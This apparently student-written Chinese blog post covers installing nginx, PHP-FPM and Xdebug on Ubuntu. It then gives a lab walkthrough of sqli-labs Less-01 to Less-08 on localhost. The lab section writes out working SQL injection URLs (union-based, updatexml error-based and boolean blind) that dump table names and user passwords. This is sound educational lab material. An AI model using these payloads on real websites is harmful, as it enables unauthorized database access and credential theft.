网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))

news2024/9/21 0:45:00

ubuntuan安装nginx以及php部署

1.安装依赖包

root@admin123-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev

2.安装nginx
到https://nginx.org/en/download.html下载nginx
在这里插入图片描述

之后将压缩包通过xtfp传输到ubuntu的/usr/local/nginx目录下
在这里插入图片描述

root-virtual-machine:/usr/local/nginx#  tar -vxf nginx-1.20.2 tar.gz

3.查看编译环境是否有缺失

root-virtual-machine:/usr/local/nginx/nginx-1.20.2# ./configure

4.编译

root-virtual-machine:/usr/local/nginx/nginx-1.20.2# make && make install 

5.启动nginx

root-virtual-machine:/usr/local/nginx/sbin# ./nginx

6.访问nginx
在这里插入图片描述
7.增加php源地址

root-virtual-machine:~# sudo apt-get install software-properties-common
root-virtual-machine:~# sudo add-apt-repository -y ppa:ondrej/php
root-virtual-machine:~# sudo apt-get install php7.3

8.安装php

root-virtual-machine:~# sudo apt-get install php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml php7.3-gd php7.3-mbstring php-memcached php7.3-zip

9.修改监听端口

root-virtual-machine:/etc/php/7.3/fpm/pool.d# vim www.conf 

在这里插入图片描述
10.启动php-fpm,查看9000端口状况

root-virtual-machine:~# sudo service php7.3-fpm start
root-virtual-machine:~# netstat -lnt | grep 9000

在这里插入图片描述
11.测试

root-virtual-machine:/usr/local/nginx/html# vim web.php

在这里插入图片描述在这里插入图片描述

Debug安装调试

1.VScode远程连接
在这里插入图片描述
2.安装PHP Debug
在这里插入图片描述
在这里插入图片描述
点击 Xdebug installation wizard 进入网站
在这里插入图片描述
将web.php的信息复制粘贴
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(1)

root-virtual-machine:~# wget https://xdebug.org/files/xdebug-3.3.2.tgz

(2)

root-virtual-machine:~# apt-get install php7.3-dev autoconf automake

(3)

root-virtual-machine:~# tar -xvzf xdebug-3.3.2.tgz

(4)

root-virtual-machine:~# cd xdebug-3.3.2

(5)

root-virtual-machine:~# phpize

在这里插入图片描述
(6)

root-virtual-machine:~/xdebug-3.3.2# ./configure

(7)

root-virtual-machine:~/xdebug-3.3.2# make

(8)

root-virtual-machine:~/xdebug-3.3.2# cp modules/xdebug.so /usr/lib/php/20230831/

(9)

root-virtual-machine:~/xdebug-3.3.2# vim /etc/php/8.3/fpm/conf.d/99-xdebug.ini

在这里插入图片描述
在这里插入图片描述
(10)

root-virtual-machine:~/xdebug-3.3.2# service php7.3-fpm restart 

sql注入 安装靶场

下载靶场解压到phpstudu_pro/WWW
在这里插入图片描述
在这里插入图片描述
更改数据库配置文件
在这里插入图片描述
登入靶场
在这里插入图片描述
Setup/reset Database for labs
在这里插入图片描述
Less01
在这里插入图片描述

sql注入流程
1.寻找注入点

http://localhost/sqliabs/Less-1/?id=1

在这里插入图片描述
2.判断是数字型还是字符型
在这里插入图片描述
在这里插入图片描述
字符型

3.判断闭合方式

http://localhost/sqliabs/Less-1/?id=1'

在这里插入图片描述
在这里插入图片描述
单引号闭合

4.验证输入的内容数据库是否执行,是否存在sql漏洞
若:

http://localhost/sqliabs/Less-1/?id=1’ and 1=1 --+

有显示
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' and 1=2 --+

无显示
在这里插入图片描述
则存在漏洞

5.判断列数

http://localhost/sqliabs/Less-1/?id=1' order by 10 --+

报错,说明没有10列
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' order by 3 --+

没有报错,说明有3列在这里插入图片描述

6.联合查询,判断回显位

http://localhost/sqliabs/Less-1/?id=-1' union select 1,2,3 --+

在这里插入图片描述
2,3说明联合查询中的第2第3位的数据会显示到Your Login name和Your Password后
在这里插入图片描述

7.查数据库名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,database(),3 --+

在这里插入图片描述
数据库名:security

8.查表名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+

在这里插入图片描述
四张表:emails referers uagents users

9.查列名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+

在这里插入图片描述
三个列名:id username password

10.查具体数据

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(username)from users),(select group_concat(password)from users) --+

在这里插入图片描述
查出账号密码,成功通关。

Less-02~04通过方式与Less-01基本无异,只是闭合方式不同
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less-05
在这里插入图片描述
没有回显位,无法使用联合注入,可以使用报错注入
在这里插入图片描述
查数据库

http://localhost/sqliabs/Less-5/?id=-1' union select updatexml(1,concat('~',(select database()),'~'),1) --+

在这里插入图片描述
数据库名:security

查表名

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'~'),1),3 --+

在这里插入图片描述
四张表:emails referers uagents users

查列名

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),'~'),1),3 --+

在这里插入图片描述
三个列名:id username password

查账号密码

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(username)from users),'~'),1),3 --+
http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(password)from users),'~'),1),3 --+

在这里插入图片描述
在这里插入图片描述

成功通过。

Less-06~07和Less-05通过方式基本无异,只是闭合方式不同

Less-08
在这里插入图片描述错误不显示
但是存在真假值,输入正确显示“You are in……”,输入错误无显示

http://localhost/sqliabs/Less-8/?id=1' and 1=1 --+

在这里插入图片描述

http://localhost/sqliabs/Less-8/?id=1' and 1=2 --+

在这里插入图片描述
使用布尔型盲注:
在这里插入图片描述
使用length()函数盲注数据库名长度

http://localhost/sqliabs/Less-8/?id=1' and length(database())>10 --+

在这里插入图片描述

无回显,错误,数据库名长度小于10

http://localhost/sqliabs/Less-8/?id=1' and length(database())=8 --+

在这里插入图片描述
有回显,正确,多次尝试确定数据库名长度为8

使用substr函数来判断数据库名的每一位分别是什么,通过变化ascii(substr(database(),x,1))中x的值我们可以确定每一位的具体值

http://localhost/sqliabs/Less-8/?id=1' and ascii(substr(database(),1,1))>70 --+

在这里插入图片描述
比较繁琐,不一一展示,最终确定数据库名为:’security‘

使用left函数,left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)通过变换x和y的值我们可以得到所有的表名

http://localhost/sqliabs/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

在这里插入图片描述

同理判断列名:

http://localhost/sqliabs/Less-8/?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8)='username' --+

在这里插入图片描述
同理判断具体用户和密码

http://localhost/sqliabs/Less-8/?id=1' and left((select username from users limit x,1),y)="" --+

过程过于繁琐,不一一展示了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983609.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android:Uniapp平台中接入即构RTC+相芯美颜

0 前言 前阵子使用Uniapp平台开发了一个跨平台app,并且接入了即构RTC后,今天想进一步丰富app的直播功能。之前有相芯美颜的开发经验,打算将相芯美颜接入即构RTC. **在DCloud插件市场找到了在即构RTC接入相芯美颜插件,https://ex…

Golang | Leetcode Golang题解之第324题摆动排序II

题目&#xff1a; 题解&#xff1a; func wiggleSort(nums []int) {n : len(nums)x : (n 1) / 2target : quickSelect(nums, x-1)transAddress : func(i int) int { return (2*n - 2*i - 1) % (n | 1) }for k, i, j : 0, 0, n-1; k < j; k {tk : transAddress(k)if nums[t…

STM32之GPIO(General Purpose Input/Output,通用型输入输出)

文章目录 前言一、GPIO简介二、GPIO结构2.1 GPIO基本结构2.2 GPIO位结构2.2.1 输入部分2.2.1 输出部分 四、GPIO模式4.1 浮空/上拉/下拉输入4.2 模拟输入4.3 开漏/推挽输出4.4 复用开漏/推挽输出 前言 提示&#xff1a;本文主要用作在学习江协科大STM32入门教程后做的归纳总结…

【数据结构-前缀哈希】力扣523. 连续的子数组和

给你一个整数数组 nums 和一个整数 k &#xff0c;如果 nums 有一个 好的子数组 返回 true &#xff0c;否则返回 false&#xff1a; 一个 好的子数组 是&#xff1a; 长度 至少为 2 &#xff0c;且 子数组元素总和为 k 的倍数。 注意&#xff1a; 子数组 是数组中 连续 的部…

SpringBoot快速学习

目录 SpringBoot配置文件 多环境配置 SpringBoot整合junit SpringBoot整合mybatis 1.在创建时勾选需要的模块 2.定义实体类 3.定义dao接口 4.编写数据库配置 5.使用Druid数据源 SpringBoot 是对 Spring 开发进行简化的。 那我们先来看看SpringMVC开发中的一些必须流程…

C++ | Leetcode C++题解之第324题摆动排序II

题目&#xff1a; 题解&#xff1a; class Solution { public:int partitionAroundPivot(int left, int right, int pivot, vector<int> &nums) {int pivotValue nums[pivot];int newPivot left;swap(nums[pivot], nums[right]);for (int i left; i < right; …

【Buffer Pool】定长内存池的实现

创建一个大块的内存内存 1.内存的类型是什么&#xff1f; char* 方便有多少字节就乘以多少字节 2.如何还回来内存&#xff1f;可以将换回来的小块的内存块链接起来&#xff0c;使用freeList 3.如何链接起来? 让上一个内存块的数据存下一个内存块的地址即可 4.如果内存块的…

Mybatis-plus乐观锁

为什么要用锁 原因是当两个线程并发修改同一条数据时候 例如有条数据 id 1 count(金额/数量) 500 有两个线程都在查询数据库 查出来都是 1 500 现在两个线程都要修改这条数据 在原来基础上20 和30 那么理论来讲应该是550 可是实际有可能是530 原…

点双联通分量和边双联通分量如何选择?

先讲一下 &#xff0c;双联通分量 一定是用于 无向图 考虑什么时候需要用边双联通分量呢&#xff1f;&#xff0c;考虑给你的是一个一般图&#xff0c;需要你把联通的点都缩起来&#xff0c;视作一个点的情况&#xff0c;就是说割点可以反复访问&#xff0c;就是说割点和其他点…

鸿蒙应用服务开发【华为支付服务】 服务端

介绍 华为支付云侧接口 Java SDK Sample。 官方 Java 语言开发库pay-java由 core 和 service 组成&#xff1a; core 为基础库。包含自动签名和验签的 HTTP 客户端、回调处理、加解密库。service 为业务服务。基于业务场景提供不同的业务类&#xff0c;其下的方法为对应的ht…

openai-dotnet:OpenAI官方提供的.NET SDK库!

自从ChatGPT大火以来&#xff0c;针对OpenaAI提供的API接口&#xff0c;封装的SDK库非常多。 之前也推荐过几个.Net版本&#xff0c;今天推荐下OpenAI官方提供的.NET 库&#xff01; 01 项目简介 openai-dotnet是OpenAI 官方提供的 .NET库&#xff0c;用于方便.NET应用程序中…

【Java数据结构】---初始数据结构

乐观学习&#xff0c;乐观生活&#xff0c;才能不断前进啊&#xff01;&#xff01;&#xff01; 我的主页&#xff1a;optimistic_chen 我的专栏&#xff1a;c语言 &#xff0c;Java 欢迎大家访问~ 创作不易&#xff0c;大佬们点赞鼓励下吧~ 前言 从今天开始我们就要学习Java…

搭建基于树莓派的Linux学习环境(TODO)

主要是想学一下Linux内核&#xff0c;所以搭一套环境&#xff0c;其实有几个选择&#xff0c;都是我买了板子的。 首先是正点原子的RK3568&#xff0c;最早是想弄安卓&#xff0c;但是SDK的大小真的把我劝退了&#xff0c;动不动几百个G的空间&#xff0c;还有就是保底16个G的…

108 将有序数组转换为二叉搜索树

解题思路&#xff1a; 平衡二叉树&#xff0c;又称自平衡二叉搜索树&#xff08;简称AVL树&#xff09;&#xff0c;其特点如下: 每个子树都为平衡二叉树高度平衡&#xff1a;任意节左子树与右子树高度差不超过1排序树&#xff1a;左子树的所有节点的值小于该节点&#xff0c;…

算法回忆录(3)

11. 假设有7个物品&#xff0c;它们的重量和价值如下表所示。若这些物品均不能被分割&#xff0c;且背包容量M&#xff1d;150&#xff0c;设计算法求解怎么装才能使得获取的价值最大&#xff1f;请写出伪代码。 #include <stdio.h>#define MAX_ITEMS 100 #define …

怎么读取FRM、MYD、MYI数据文件

一、介绍frm、MYD、MYI文件 在MySQL中&#xff0c;使用MyISAM存储引擎时&#xff0c;数据库表会被分割成几个不同的文件文件描述功能扩展名FRM 文件表结构定义文件存储表的结构信息&#xff0c;字段、索引等.FRMMYD 文件数据文件包含表的实际数据.MYD&#xff08;MYData&#x…

Vue3安装ffmpeg做视频截取报错

通过 yarn 安装 ffmpeg 时报错。 即&#xff0c;执行以下指令时报错&#xff1a; yarn add ffmpeg/ffmpeg^0.10.0 yarn add ffmpeg/core^0.10.0错误信息&#xff1a; node_modules\pngquant-bin: Command failed. Error: pngquant failed to build, make sure that libpng-d…

Unity强化工程 之 SpriteRender

本文仅作笔记学习和分享&#xff0c;不用做任何商业用途 本文包括但不限于unity官方手册&#xff0c;unity唐老狮等教程知识&#xff0c;如有不足还请斧正 1.SpriteRenderer是什么 渲染精灵用的&#xff0c;是渲染的核心组件&#xff0c;有许多重要参数所以要详细讲一讲 Spri…

从数据孤岛到一体化平台:PLM系统的变革之路

在当今快速变化的商业环境中&#xff0c;产品生命周期管理&#xff08;Product Lifecycle Management, PLM&#xff09;系统已成为企业提升竞争力、加速产品创新、优化资源配置的关键工具。相较于传统的产品数据管理&#xff08;Product Data Management, PDM&#xff09;系统和…

WPF MVVM模式图片占用问题

在很久以前就遇到这个问题&#xff0c;当时解决了&#xff0c;这过了几年&#xff0c;又遇到这个问题&#xff0c;这里做个总结&#xff0c;防止下次再踩坑了&#xff0c;也顺便帮助一下同样遇到这个问题的朋友 。 出现这个问题的原因是&#xff1a;将文件路径绑定到Image的Sou…